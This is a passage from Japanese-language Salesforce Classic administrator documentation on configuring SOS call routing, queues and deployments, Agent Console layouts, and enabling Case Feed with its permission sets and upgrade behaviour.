ルーティング設定により、作業項目のエージェントへの転送方法が決まります。
ルーティング設定では、キュー内の作業項目の相対的な重要性とサイズの優先
度を付けることができます。この設定により、最も重要な作業項目が優先的に
処理され、作業がエージェントに均等に分散されます。SOS コールがエージェン
トに分散される方法を決定する SOS ルーティング設定を作成します。
この設定を作成したら、SOS コールに SOS キューを作成します。次に、ルーティ
ング設定を SOS キューに関連付けて、SOS 設定の取得後にエージェントがコール
を受信できるようにします。
1. [設定] から、[クイック検索]ボックスに「ルーティング」と入力し、[ルーティ

ング設定] を選択して [新規] をクリックします。
2. ルーティング設定に名前を付けます。

たとえば、「SOS ルーティング設定」という名前にしてみましょう。この名
前のバージョンは、自動的に API 参照名になります。

3. ルーティングの優先度を設定します。
SOS コールが最も重要であるかエージェントが処理する唯一の作業項目であ
る場合は、ルーティングの優先度を 1に設定します。この優先度にすると、
他の種別の作業項目の前に SOS コールがエージェントに確実に転送されます。

4. ルーティングモデルを選択します。
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5. [業務率] 項目の値を 100 に設定します。
エージェントは一度に 1 つの SOS コールしか受け入れられないため、SOS コールはエージェントの業務量の
100% を占めます。

6. [保存] をクリックします。

SOS キューの作成

エディション

使用可能なエディション:
Salesforce Classic

有料オプションで SOS を
使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

SOS を設定する
• 「アプリケーションの

カスタマイズ」

キューはSalesforceの典型的な要素で、チームがリード、ケース、サービス契約、
およびカスタムオブジェクトを管理するうえで役立ちます。オムニチャネルに
よりキューが大幅に向上し、作業項目がエージェントにリアルタイムで転送さ
れます。SOS コールを SOS エージェントに提供する SOS キューを作成します。以
前に作成した SOS ルーティング設定に SOS キューを関連付けます。
SOS キューの作業項目には、以前に作成した SOS ルーティング設定で指定した優
先度が割り当てられます。
ルーティングを正しく機能させるには、エージェントが作業項目を受信する
キューに各エージェントを割り当てます。
キューについての詳細は、Salesforce ヘルプの「キューの概要」を参照してくだ
さい。
1. [設定] から、[クイック検索] ボックスに「キュー」と入力し、[キュー] を選

択します。
2. [新規] をクリックします。
3. [表示ラベル] 項目で、キューに名前を付けます。

たとえば、「SOS キュー」という名前にしてみましょう。この名前のバージョ
ンは、自動的に [キュー名] になります。

4. [ルーティング設定] 項目で、以前に作成した「SOS ルーティング設定」というルーティング設定を見つけ
て、選択します。

5. [サポート対象のオブジェクト] セクションで、SOS セッション を [選択されたオブジェクト] リストに追加
します。

6. [キューメンバー] セクションで、SOS コールを転送する各エージェントを [選択済みのユーザ] 項目に追加
します。

7. [保存] をクリックします
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Salesforce コンソール設定の更新

エディション

使用可能なエディション:
Salesforce Classic

有料オプションで SOS を
使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コンソールアプリケー
ションをカスタマイズす
る
• 「アプリケーションの

カスタマイズ」

SOS を組織向けにすべて設定したら、次にSalesforce コンソールでいくつか設定を
行い、エージェントが作業の受け入れを開始できるようにします。
オムニチャネルおよび SOS ウィジェットをコンソールに追加し、URL

salesforceliveagent.com をホワイトリストに登録する必要があります。
SOS およびオムニチャネルウィジェットは、Salesforce コンソールのフッターに表
示されます。エージェントはオムニチャネルウィジェットから、各自のプレゼ
ンス状況を変更したり、受信した割り当て作業 (SOS コールを含む) に優先順位を
付けたりすることができます。エージェントが SOS コールを受け入れると、そ
のコールが SOS ウィジェットで開きます。ここでは、エージェントは顧客の画
面を表示できます。
また、URL salesforceliveagent.com をホワイトリストに登録して、会社の
ファイアウォールでコールがブロックされないようにする必要もあります。こ
れにより、顧客のすべての SOS コールがエージェントに確実に届きます。
1. [設定] から、[クイック検索] ボックスに「アプリケーション」と入力し、[ア

プリケーション] を選択します。
2. オムニチャネルおよび SOS ウィジェットを追加する Salesforce コンソールアプ

リケーションの横にある [編集] をクリックします。
3. [コンソールコンポーネントを選択] セクションで、オムニチャネルおよび SOS

を選択済みの項目のリストに追加します。
4. [ホワイトリストのドメイン]項目で、salesforceliveagent.comをホワイトリストのドメインのリスト

に追加します。
5. [保存] をクリックします。

SOS リリースの作成

エディション

使用可能なエディション:
Salesforce Classic

有料オプションで SOS を
使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

SOS リリースを作成する
• 「アプリケーションの

カスタマイズ」

SOS 設定を Salesforceからモバイルアプリケーションに統合する SOS リリースを作
成します。
SOS リリースを作成すると、リリースに一意の ID 番号が割り当てられます。モ
バイル開発者は、このリリース ID を使用して、Salesforce の SOS 設定をモバイル
アプリケーションに統合します。
1. [設定] から、[クイック検索] ボックスに「SOS リリース」と入力し、[SOS リ

リース] を選択します。
2. [新規] をクリックします。
3. リリースの設定を選択します。
4. [保存] をクリックします。
5. SOS リリース ID を詳細ページからコピーし、モバイルル開発者に送信します。

モバイル開発者は、SOS iOS SDK を使用して、SOS リリースをモバイルアプリ
ケーションと統合します。
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SOS リリース設定
SOS リリース設定は、Salesforce SOS 設定がモバイルアプリケーションに統合される方法を制御します。

SOS リリース設定

エディション

使用可能なエディション:
Salesforce Classic

有料オプションで SOS を
使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

SOS リリース設定は、Salesforce SOS 設定がモバイルアプリケーションに統合され
る方法を制御します。
SOS リリースを作成または編集するときに設定を適用します。

実行する内容設定

リリースの名前を付けます。
このリリースの名前、つまりバージョ
ンは自動的に [API 参照名] になりま
す。

SOS リリース名

Live Agent リリースの API 名を設定しま
す。

API 参照名

リリースを有効化して、SOS がモバイ
ルアプリケーションにリリースされた

アクティブリリース

ときに顧客が SOS コールを要求できる
ようにします。

ビデオ機能を無効化し、エージェント
と顧客に音声のみの会話を許可しま
す。

音声のみモード

顧客の逆向きのモバイルカメラから
エージェントにビデオを送信すること
を顧客に許可します。

バックフェイシングカメラを有効化

受信 SOS コールの転送先となるキュー
を判断します。

キュー

SOS セッションを自動的に記録します。セッション記録が有効

SOS セッション記録を保存するデータ
ストレージプロバイダを判断します。

セッション記録ストレージプロバイダ

セッション記録が有効な場合にのみ使
用できます。

Amazon S3 ストレージアカウントに関連
付けられたアクセスキーの ID。セッ

セッション記録ストレージプロバイダ
API キー

ション記録が有効な場合にのみ使用で
きます。
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実行する内容設定

Amazon S3 ストレージアカウントに関連付けられたア
クセスの秘密の ID。セッション記録が有効な場合にの
み使用できます。

セッション記録ストレージプロバイダAPI の秘密

SOS セッション記録を保存する Amazon S3 バケットの
名前。セッション記録が有効な場合にのみ使用できま
す。

セッション記録ストレージプロバイダバケット

[コンソール] タブのエージェントコンソールの設定

エージェントコンソールの設定
エディション

エージェントコンソール
は Salesforce Classic で使用
できます。エージェント
コンソールの設定は
Salesforce Classic および
Lightning Experience で使用
できます。

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

エージェントコンソール
を設定する
• 「アプリケーションの

カスタマイズ」

エージェントコンソールの使用を簡単に開始できます。

メモ:  Spring '15 リリース以降、新しい組織でエージェントコンソールは使用
できません。
新しい Salesforce コンソールはエージェントコンソールを改良したもので、
より多くのオプションや高度な技術を使用できます。「Salesforce コンソー
ル」を参照してください。

Salesforceでの作業中にユーザが必要とするすべての情報を 1 画面で表示できるよ
うに、エージェントコンソールを簡単に設定できます。エージェントコンソー
ルを設定する手順は、次のとおりです。
1. コンソールレイアウトを作成して、コンソールのリストビューフレームで

ユーザが使用できるオブジェクトを定義します。
2. ミニビューに表示する関連オブジェクトを選択します。
3. ミニページレイアウトを定義して、コンソールのミニビューに表示するオブ

ジェクトの項目と関連リストをカスタマイズします。
4. コンソールレイアウトにプロファイルを割り当てて、コンソールのリスト

ビューでユーザが特定のオブジェクトのみにアクセスできるようにします。
5. カスタムアプリケーションにエージェントコンソールを追加して、ユーザが

特定のアプリケーションからコンソールにアクセスできるようにします。

メモ: エージェントコンソールをパートナーポータルやカスタマーポータ
ルに追加することはできません。
Visualforceページは、Salesforceドメインおよび Visualforceドメイン間のクロス
ドメイン通信がないため、エージェントコンソールには正しく表示されな
い可能性があります。
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エージェントコンソールレイアウトの作成

エディション

エージェントコンソール
は Salesforce Classic で使用
できます。エージェント
コンソールの設定は
Salesforce Classic および
Lightning Experience で使用
できます。

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コンソールレイアウトを
作成する
• 「アプリケーションの

カスタマイズ」

メモ:  Spring '15 リリース以降、新しい組織でエージェントコンソールは使用
できません。
新しい Salesforce コンソールはエージェントコンソールを改良したもので、
より多くのオプションや高度な技術を使用できます。「Salesforce コンソー
ル」を参照してください。

エージェントコンソールのレイアウトを作成する手順は、次のとおりです。
1. [設定] から、[クイック検索]ボックスに「コンソールレイアウト」と入力し、

[コンソールレイアウト] を選択します。
2. [新規] をクリックし、必要に応じて、コピーする既存のレイアウトを選択し

ます。
3. 新しいレイアウトの名前を入力します。
4. [保存] をクリックします。
5. [選択されたリストビュー] セクションで [編集] をクリックします。
6. レイアウトにオブジェクトを追加またはレイアウトから削除するには、オブ

ジェクトを選択してから [追加] または [削除] 矢印をクリックします。
ユーザは、自分のプロファイルが割り当てられているコンソールレイアウト
で設定したオブジェクトのみ、コンソールのリストビューで参照できます。

7. [保存] をクリックします。
8. ミニビューに表示する関連オブジェクトを選択します。

関連トピック:

エージェントコンソールのレイアウトの管理
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エージェントコンソールレイアウトのカスタマイズ

エディション

エージェントコンソール
は Salesforce Classic で使用
できます。エージェント
コンソールの設定は
Salesforce Classic および
Lightning Experience で使用
できます。

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コンソールレイアウトを
カスタマイズする
• 「アプリケーションの

カスタマイズ」

エージェントコンソールのレイアウトをカスタマイズする手順は、次のとおり
です。
1. [設定] から、[クイック検索]ボックスに「コンソールレイアウト」と入力し、

[コンソールレイアウト] を選択します。
2. レイアウト名を選択します。
3. レイアウトの [名前] または [説明] を変更するには、[コンソールレイアウ

トの詳細] セクションの [編集] をクリックします。
4. レイアウトにオブジェクトを追加または削除するには、[選択されたリスト

ビュー] セクションの [編集]をクリックし、オブジェクトを選択後、[追加]ま
たは [削除] 矢印をクリックします。
ユーザは、自分のプロファイルが割り当てられているコンソールレイアウト
で設定したオブジェクトのみ、コンソールのリストビューで参照できます。

5. [保存] をクリックして終了します。

関連トピック:

エージェントコンソールのレイアウトの管理
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エージェントコンソールレイアウトの削除

エディション

エージェントコンソール
は Salesforce Classic で使用
できます。エージェント
コンソールの設定は
Salesforce Classic および
Lightning Experience で使用
できます。

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

エージェントコンソール
レイアウトを削除する
• 「アプリケーションの

カスタマイズ」

エージェントコンソールのレイアウトを削除する手順は、次のとおりです。
1. [設定] から、[クイック検索]ボックスに「コンソールレイアウト」と入力し、

[コンソールレイアウト] を選択します。
2. コンソールレイアウト名の横にある [削除] をクリックします。

メモ: プロファイルに割り当てられたコンソールレイアウトを削除するこ
とはできません。別のコンソールレイアウトにプロファイルを再割り当て
してから、コンソールレイアウトを削除する必要があります。

関連トピック:

エージェントコンソールのレイアウトの管理

3130

エージェントコンソールの設定カスタマーサポートツールの設定および管理



エージェントコンソールのレイアウトの管理

エディション

エージェントコンソール
は Salesforce Classic で使用
できます。エージェント
コンソールの設定は
Salesforce Classic および
Lightning Experience で使用
できます。

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

エージェントコンソール
レイアウトを作成、編
集、削除、および割り当
てする
• 「アプリケーションの

カスタマイズ」

コンソールレイアウトは、エージェントコンソールのリストビューフレームで
ユーザが使用できるオブジェクトを定義します。たとえば、コンソールでケー
スと取引先責任者のリストビューをユーザに参照させたい場合、ケースと取引
先責任者の両方をコンソールレイアウトに追加し、そのコンソールレイアウト
を適切なユーザプロファイルに割り当てます。ユーザは、自分のプロファイル
が割り当てられているコンソールレイアウトで設定したオブジェクトのみ、コ
ンソールのリストビューで参照できます。
[設定] で [クイック検索] ボックスに「コンソールレイアウト」と入力し、[コン
ソールレイアウト]を選択してアクセスできるコンソールレイアウトリストペー
ジから、次の操作を実行できます。
• [新規] をクリックして、レイアウトを作成します。
• レイアウトを変更するには、[編集] をクリックします。
• [コンソールレイアウトの割り当て] をクリックして、コンソールレイアウト

をプロファイルに割り当てます。

関連トピック:

エージェントコンソールの設定
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エージェントコンソールのミニビューの関連オブジェクトの選択

エディション

エージェントコンソール
は Salesforce Classic で使用
できます。エージェント
コンソールの設定は
Salesforce Classic および
Lightning Experience で使用
できます。

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

エージェントコンソール
を設定する
• 「アプリケーションの

カスタマイズ」

エージェントコンソールのミニビューに表示する関連オブジェクトを選択する
際は、主オブジェクトへの参照関係または主従関係を持つオブジェクトのみを
選択できます。ケースが取引先と取引先責任者の参照項目を持つため、たとえ
ば、ケースオブジェクトからは取引先と取引先責任者を選択できます。
1. 編集するページレイアウトを使用するオブジェクトの管理設定から、ページ

レイアウトに移動します。
この手順で選択する標準オブジェクトまたはカスタムオブジェクトは、コン
ソールの詳細ビューに表示されるレコードを表し、そのレコードに関連する
レコードが関連オブジェクトとしてミニビューに表示されます。

2. ページレイアウト名の横にある [編集] をクリックします。
3. ページレイアウトヘッダーで、[ミニコンソールビュー] をクリックします。
4. ミニビューに表示する関連オブジェクトを選択するには、項目名を選択し

て、[追加] または [削除] をクリックします。参照関係が定義されていて、か
つ、ページレイアウトに参照項目が含まれているオブジェクトのみを選択で
きます。ミニビューの関連オブジェクトの順序を変更するには、[選択済みの
リレーション項目] で項目名を選択し、[上へ] または [下へ] をクリックしま
す。完了したら、[保存] をクリックします。

5. [保存] をクリックします。
6. 次に、ミニページレイアウトを定義して、関連オブジェクトのミニビューに

表示する項目と関連リストを指定します。

メモ: セルフサービスポータルのケースクローズ時のレイアウト、または
ケース登録ページとケース参照ページのレイアウト用の関連オブジェクト
は選択できません。

関連トピック:

エージェントコンソールの設定
オブジェクト管理設定の検索
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エージェントコンソールのミニページレイアウトの定義

エディション

エージェントコンソール
は Salesforce Classic で使用
できます。エージェント
コンソールの設定は
Salesforce Classic および
Lightning Experience で使用
できます。

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

エージェントコンソール
を設定する
• 「アプリケーションの

カスタマイズ」

エージェントコンソールのミニビュー、詳細のフロート表示、および行動のフ
ロート表示に表示されるレコードのミニページレイアウトを定義できます。ミ
ニページレイアウトには既存のページレイアウトの項目のサブセットが含まれ
ています。ミニページレイアウトは、関連するページレイアウトから、レコー
ドタイプとプロファイルの関連付け、関連リスト、項目、および項目のアクセ
ス設定を継承します。ミニページレイアウトに表示される項目と関連リストは
さらにカスタマイズすることができますが、関連するページレイアウトから継
承された他の項目はミニページレイアウトでは変更できません。
行動ミニページレイアウトは行動の詳細と編集のフロート表示に使用され、[コ
ンソール] タブには使用されません。また、ミニページレイアウト上の関連リス
トは、[コンソール] タブにのみ表示され、詳細のフロート表示はありません。
1. 編集するページレイアウトを使用するオブジェクトの管理設定から、ページ

レイアウトに移動します。
2. ページレイアウト名の横にある [編集] をクリックします。
3. ページレイアウトヘッダーで、[ミニページレイアウト] をクリックします。
4. 現在のオブジェクトをミニビューに表示する際に表示する項目と関連リスト

を選択します。選択する関連リストごとに、その関連リストに表示する項目
を選択します。
• すべての使用可能な項目と最大で 5 件までの関連リストをコンソールに表

示するように選択できます。ただし、ユーザが目的の情報を見つけるた
めにスクロールしなくて済むように少数を選択することをお勧めします。

• 選択した項目と関連リストは、データが存在しなくてもコンソールに表示されます。
• ページレイアウトで [常に表示] または [常にレイアウトに表示] とマークされた項目は自動的にミニ

ページレイアウトに表示され、ページレイアウトから削除されるまで削除できません。
• ページレイアウトの項目プロパティが、ミニページレイアウトでの項目プロパティを決定します。たと

えば、ページレイアウトで「参照のみ」に設定されている項目は、ミニページレイアウトでも「参照の
み」となります。ミニページレイアウトでの項目の項目プロパティを変更するには、ページレイアウト
での項目の項目プロパティを変更する必要があります。組織に項目レベルセキュリティが設定されてい
る場合、コンソールにもその項目レベルセキュリティが反映されます。

• 項目を追加または削除するには、項目名を選択してから [追加]または [削除]をクリックします。項目の
順序を変更するには、[選択済み] で項目名を選択し、[上へ] または [下へ] をクリックします。完了した
ら、[保存] をクリックします。

• ページレイアウトでの関連リストの順序は、ミニページレイアウトでの関連リストの順序を決定しま
す。ミニページレイアウトでの関連リストの順序を変更するには、ページレイアウトでの関連リストの
順序を変更した後、ミニページレイアウトを選択し、[保存] をクリックします。

5. [保存] をクリックします。
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メモ: セルフサービスポータルのケースクローズ時のレイアウト、またはケース登録ページとケース参照
ページのレイアウトに対するミニページレイアウトは定義できません。

関連トピック:

エージェントコンソールの設定
オブジェクト管理設定の検索

エージェントコンソールのレイアウトの割り当て

エディション

エージェントコンソール
は Salesforce Classic で使用
できます。エージェント
コンソールの設定は
Salesforce Classic および
Lightning Experience で使用
できます。

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コンソールレイアウトを
割り当てる
• 「アプリケーションの

カスタマイズ」

コンソールレイアウトを作成したら、コンソールタブのエージェントコンソー
ルでユーザに表示するレイアウトを割り当てます。ユーザに表示されるコンソー
ルレイアウトは、そのユーザのプロファイルによって決まります。
コンソールレイアウトを割り当てる手順は、次のとおりです。
1. [設定] から、[クイック検索]ボックスに「コンソールレイアウト」と入力し、

[コンソールレイアウト] を選択します。
2. [コンソールレイアウトの割り当て] をクリックします。
3. ドロップダウンリストから、プロファイルに割り当てるコンソールレイアウ

トを選択します。
4. ドロップダウンリストから、プロファイルに対する [コンソール] タブの表示

設定を選択します。[コンソール] タブの表示設定は、コンソールレイアウト
に割り当てられているプロファイルに対してのみ選択できます。

5. [保存] をクリックします。

メモ: 「アプリケーションのカスタマイズ」権限を持つ Enterprise Edition、
Unlimited Edition、Performance Edition、および Developer Edition のユーザは、プ
ロファイルの詳細ページで、プロファイルにコンソールレイアウトを割り
当てられます。[設定] から、[クイック検索]ボックスに「プロファイル」と
入力し、[プロファイル] を選択して [コンソール設定] セクションで [編集]

をクリックします。

関連トピック:

エージェントコンソールのレイアウトの管理
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ケースフィードの設定

Salesforce Classic でのケースの設定
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ケースフィードを設定お
よびカスタマイズする
• 「ケースの管理」

および

「アプリケーションの
カスタマイズ」

Salesforce Classic でケースフィードを設定する手順の概要は、次のとおりです。

前提条件と基本設定
ケースフィードを有効化してカスタマイズする前に、次の手順を実行します。
• 必要なアクションおよびツールを決定します。

– [メール] アクションを使用するには、メール-to-ケースを設定します。
– 記事ツールを使用するには、Salesforce ナレッジを設定します。

• ケースフィードアクションとフィード項目を有効化する場合は、ケースの
アップグレードの結果とどのように機能するかを確認します。

準備ができたら、ケースフィードアクションとフィード項目を有効化します。

メモ:  Winter '14 より前に作成された組織では、次の操作も必要です。
• パブリッシャーの Chatter およびアクションを有効化します。
• ケースのフィード追跡を有効化します。フィード追跡ページで、[状況]

項目の追跡をオフにします。[状況] 項目の追跡を無効にすると、エー
ジェントが [状況の変更] アクションを使用してケースの状況を更新した
ときにフィード項目の重複が防止されます。

ページレイアウトのカスタマイズ
企業のニーズとサポートエージェントの作業方法に基づいて、ケースフィードページレイアウトに表示される
内容を選択します。
• ケース詳細ページ、ケースのクローズページおよび強調表示パネルのレイアウトを作成します。
• エージェントがケースを使用しているときに表示されるアクション、項目、およびツールを指定するには、

フィードビューページのレイアウトを作成します。

ユーザアクセス権の付与
ユーザにケースフィードへのアクセス権を付与する最も簡単な方法は、作成したフィードベースのケースペー
ジレイアウトを使用するプロファイルにユーザを割り当てることです。
Spring '14 より前に作成された組織では、この他に次の 2 つの方法でユーザにアクセス権を付与することができ
ます。
• 権限セットを作成して、ユーザに割り当てる
• カスタムプロファイルを使用する
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ケースフィードの設定: その他の機能の追加
ケースフィードにその他の機能を追加するには、次の手順 (省略可能) を実行します。
• エージェントがメールに事前に作成された簡潔なメッセージを挿入できるようにするには、クイックテキ

ストを設定し、クイックテキストメッセージを作成します。
• 顧客がポータルに投稿した質問への回答が投稿されたことを知らせるメールを、エージェントが顧客に送

信できるようにするには、ポータルのメール通知を有効化します。
• エージェントが送信前にメールメッセージをドラフトとして保存したり、メールの承認アクションを作成

できるようにするには、メールドラフトを有効化します。
• エージェントが顧客にメールを送信するときに時間を節約し、一貫性を高めることができるようにするに

は、テキスト、HTML、または Visualforce のメールテンプレート (ページ 1874)を作成します。
• エージェントが反復作業を自動化できるようにするには、コンソールにマクロブラウザを追加 (ページ5160)

して、マクロを使用する権限をエージェントに付与します。
• エージェントが追加機能を利用できるようにするには、カスタムアクションを作成して追加します。

関連トピック:

Chatter の設定
Chatter パブリッシャーのアクションの有効化
ページレイアウトのカスタマイズまたはレコードタイプページからのページレイアウトの割り当て

ケースフィードアクションとフィード項目の有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

サポート設定を変更する
• 「ケースの管理」

および

「アプリケーションの
カスタマイズ」

ケースフィードアクションとフィード項目を有効化すると、ケースを使用する
ときに必要な一部の標準アクション ([メール]や [状況の変更] など) とそれらのア
クションに関連するフィード項目へのアクセス権がユーザに付与されます。

メモ:  Winter '14 リリースより前に作成された Salesforce 組織では、ケース
フィードアクションおよびフィード項目を有効化する前に、ケースのフィー
ド追跡を有効にしておく必要があります。フィード追跡が有効になってい
ないと、[ケースフィードアクションおよびフィード項目を有効化]が表示さ
れません。

Winter '14 リリース以降に作成された Salesforce 組織では、ケースのフィード追跡
とケースフィードアクションおよびフィード項目が自動的に有効化されます。
1. [設定] から、[クイック検索] ボックスに「サポート設定」と入力し、[サポー

ト設定] を選択します。
2. [編集] をクリックします。
3. [ケースフィード項目を有効化] を選択します。
4. [保存] をクリックします。
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ケースフィードアクションとフィード項目を有効化すると、ケースは自動的に新しいユーザインターフェース
にアップグレードされます。このアップグレードプロセスが完了するまで待ってからユーザにケースフィード
へのアクセス権を与えることをお勧めします。

関連トピック:

Salesforce Classic でのケースの設定
ケースフィードのアップグレードの結果
ユーザへのケースフィードの割り当て
関連レコードのフィード更新の有効化

ケースフィードの権限セットの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

権限セットを作成する
• 「プロファイルと権限

セットの管理」

組織のケースフィードを有効にした後、ユーザにケースフィードのアクセス権
を付与する権限セットを作成します。

メモ: 「ケースフィードの使用」権限は、フィードベースのレイアウトを
有効にしていない、Winter '14 より前に作成された組織でのみ使用できます。
Winter '14 リリース以降に作成される Salesforce 組織では、ケースフィードが
自動的に有効化され、すべての標準プロファイルに割り当てられます。

1. ケースフィードの権限セットを作成します。

段階的な手順

2. [権限セット] ページで、[アプリケーション権限] をクリックします。
3. [ケースフィードを使用]を選択します。必要に応じて、セットに含める他の

権限を設定します。
4. [保存] をクリックします。

ヒント: 既存の権限セットがある場合は、編集して「ケースフィードを
使用」権限を含めることができます。

関連トピック:

Salesforce Classic でのケースの設定
ユーザへのケースフィードの割り当て
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ユーザへのケースフィードの割り当て

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

サポート設定を変更する
• 「ケースの管理」

および

「アプリケーションの
カスタマイズ」

組織のケースフィードを有効にして、そのケースフィードを含む権限セットを
作成した後、その権限セットをユーザに割り当てます。
1. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選

択します。
2. ユーザの名前を選択します。
3. [権限セットの割り当て] リストで、[割り当ての編集] をクリックします。
4. [利用可能な権限セット] リストの権限セットを選択して、[追加] をクリック

します。
5. [保存] をクリックします。

関連トピック:

Salesforce Classic でのケースの設定
ケースフィードの権限セットの作成

カスタムプロファイルを使用した、ユーザへのケースフィードのアクセス権の
付与

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロファイルを作成およ
び編集する
• 「プロファイルと権限

セットの管理」

権限セットを使用してユーザにケースフィードのアクセス権を付与する代わり
に、[ケースフィードを使用] ユーザ権限を含むカスタムプロファイルを作成で
きます。

メモ: 「ケースフィードの使用」権限は、フィードベースのレイアウトを
有効にしていない、Winter '14 より前に作成された組織でのみ使用できます。
Winter '14 リリース以降に作成される Salesforce 組織では、ケースフィードが
自動的に有効化され、すべての標準プロファイルに割り当てられます。

1. プロファイルを作成します。
2. プロファイルページで [編集] をクリックします。
3. [一般ユーザ権限] で、[ケースフィードを使用] を選択します。
4. [保存] をクリックします。
5. ユーザをプロファイルに割り当てます。

関連トピック:

Salesforce Classic でのケースの設定
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ケースフィードのアップグレードの結果

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

組織のケースフィードを有効にすると、アップグレードプロセスにより、アク
ティブなケースが新しいインターフェースに変換され、それらのケースの活動
に対応するフィード項目が作成されます。
アップグレードプロセス中、ユーザが何か変わったことに気づくことはありま
せん。プロセスが完了すると、ケースフィードを有効にしたユーザには、既存
のケースも新しいケースも新しいインターフェースで表示されますが、ケース
フィードを有効にしていないユーザには、引き続き従来のケースが表示されま
す。
ケースが新しいインターフェースにアップグレードされると、次の処理が行わ
れます。
• 組織のアクティブな最新の 5000 件のケースが、ケースフィードインターフェースに変換される。所要時間

は、変換されるケースの数と、ケースに含まれるデータの複雑さに応じて異なります。たとえば、複数の
メールメッセージやその他の添付ファイルを含むケースは、変換にかかる時間が他のケースよりも長くな
る場合があります。

• 古いケースも、元の 5000 件の変換されたケースに適用される日付範囲内に、そのケースに追加されたコメ
ント、メール、または活動ログがある場合は、アップグレードされる。現在のコメントが設定されたケー
ス、現在のメールが設定されたケース、現在の活動ログが設定されたケースが、それぞれ最大 500 件の合
計 1500 件までのケースが追加で変換されます。

• 次の項目が、各ケースのフィードに追加される。
– 最大 60 件のメールメッセージ。
– 最大 60 件の非公開コメントと公開コメント。これらは、アップグレード時にコメントから Chatter 投稿

に変換されます。
– 最大 60 件の活動ログ。ケースフィードにアップグレードする前に作成された活動ログは、ToDo として

フィードに表示される場合があります。
• ケースフィードインターフェースはすべての新規ケースに対して有効化され、ユーザにはパブリッシャー

とフィードへのアクセス権が付与される。
• ケースの詳細ビューが使用可能になり、現在の関連リスト内に表示されている項目も含めて、ケースの追

加情報が示される。
アップグレードプロセスが完了すると、メールメッセージで通知されます。

ベストプラクティス
• アップグレード操作を円滑に進めるために、ケースフィードを本番組織で有効にする前に、フルコピーの

Sandbox 組織で有効にすることをお勧めします。これにより、ケース変換プロセスにかかる時間を見極め、
新しいユーザインターフェースでいくつかサンプルケースをレビューできます。

• 本番組織でケースフィードを有効化したら、アップグレードプロセスが完了するまで待ってからユーザに
アクセス権を与えます。最初は、ケースフィードを 1 人のユーザに割り当て、変換されたケースをいくつ
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かレビューしてアップグレードプロセスが成功したことを確認してから、他のユーザが利用できるように
することをお勧めします。

関連トピック:

Salesforce Classic でのケースの設定
ケースフィードアクションとフィード項目の有効化

ケースフィードのポータル返信メール通知の有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

サポート設定を変更する
• 「ケースの管理」

および

「アプリケーションの
カスタマイズ」

組織でポータルまたはコミュニティを使用している場合、サポートエージェン
トはケースフィードの [コミュニティ] アクションを使用して、顧客に応答でき
ます。ポータル返信メール通知を有効にすると、エージェントは [コミュニティ]

アクションの [メールを送信] オプションにアクセスできます。
1. [設定] から、[クイック検索] ボックスに「サポート設定」と入力し、[サポー

ト設定] を選択します。
2. [編集] をクリックします。
3. [取引先責任者へのケースコメント通知を有効化] を選択します。
4. メール通知のテンプレートを選択します。
5. [保存] をクリックします。
コミュニティへのリンクが記載されたメールが外部ユーザに送信されます。メー
ルを受信するユーザが複数の有効なコミュニティのメンバーである場合、この
リンクは最も古い有効なコミュニティに移動します。ユーザがすでにコミュニ
ティにログインしていて、メールのリンクをクリックすると、このリンクはそ
のコミュニティに移動します。ユーザがコミュニティのメンバーではない場合、
このリンクは内部組織に移動します。ユーザがポータルおよびコミュニティの
メンバーである場合、このリンクはそのコミュニティに移動します。

関連トピック:

Salesforce Classic でのケースの設定
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ケースフィードでの外部に表示されるフィード項目の強調表示

エディション

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

サポート設定を変更する
• 「ケースの管理」

および

「アプリケーションの
カスタマイズ」

ケースフィードで外部ユーザに表示されるフィード項目を強調表示できます。
内部ユーザにのみ表示されるフィード項目と、外部ユーザに表示される項目を
サポートエージェントが容易に区別できるようになりました。
デフォルトでは、ケースフィードで誰に表示されるかによってフィード項目が
区別されることはありません。
強調表示が適切に動作するように、[コミュニティケースフィードを有効化]およ
び [外部から参照可能なフィード項目を強調表示] 設定の両方を有効にします。
[コミュニティケースフィードを有効化]および [外部から参照可能なフィード項目
を強調表示]設定が有効になっている場合、次のフィード項目がケースフィード
で強調表示されます。
